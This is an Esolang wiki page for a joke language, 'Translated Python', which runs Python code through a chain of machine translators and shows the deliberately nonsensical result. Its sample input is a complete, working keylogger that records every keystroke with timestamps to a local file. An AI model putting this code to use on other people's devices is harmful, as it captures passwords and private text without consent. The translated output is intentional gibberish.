Translated Python

From Esolang
Jump to navigation Jump to search

Translated Python is a esolang made by Mihai Popa. It's Python but horribly translated by Baidu+Google Translate+Yandex+Papago+Microsoft (however you can add more or choose a another pair of translators for a even more horrible translation!)

Remember that this is the PrySigneToFry version. My version is at: Translated Python/Mihai Popa

Steps: 1. Take this program (as a example):

from pynput.keyboard import Key, Listener
import datetime

log_file = "keylog.txt"
current_line = []

def on_press(key):
    try:
        current_line.append(key.char)
    except AttributeError:
        if key == Key.space:
            current_line.append(" ")
        elif key == Key.enter:
            log_line()
        else:
            current_line.append(f"[{key}]")

def on_release(key):
    if key == Key.esc:
        log_line()
        return False

def log_line():
    if current_line:
        typed_line = "".join(current_line)
        with open(log_file, "a") as file:
            timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            file.write(f'{timestamp} Typed line: {typed_line}\n')
        current_line.clear()

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

2. Translate this code as follows (you can take on any translator with any language, if you want):

Baidu: English->Arabic
Google Translate: Arabic->Turkish
Yandex: Turkish->Indonesian
Papago: Indonesian->Thai
Microsoft: Thai->Amharic
Google Translate: Amharic->English
Baidu: English->Simplified Chinese
Microsoft: Simplified Chinese->Ukranian->Ancient Chinese->Hindi->English

3. Result? Here you go, it's horribly translated with 5 translators using a weird pair of languages:

Turn in the key and get the locked disk.
Fall with the number of hours
Logged in
"U" is not "U", nor is it together
Define County
trial
Live to serve the sun and the moon
Explanatory work
King everywhere
Validity: By year and month,
[Key Key]
Save the recorded notes. emperor
And also
Fill this center of travel.
They were all chained
Sore.
Save the recorded notes. emperor
I'll send you ten dollars home
The horse was taken away.
One of these lines is correct.
Flashing wires"
Text-inspired
The weather at that time is renewed
Downsize
I'm cleaning up now. Maintain integrity and integrity.
The tool used to scout him was to press the button and go out and hold the button
Listen to the movements of the limbs

噫吁嚱!异哉!此鸟乃何物?!

See also

Translated VBS

Translated C#

Translated Julia

Translated Batch

Translated ORK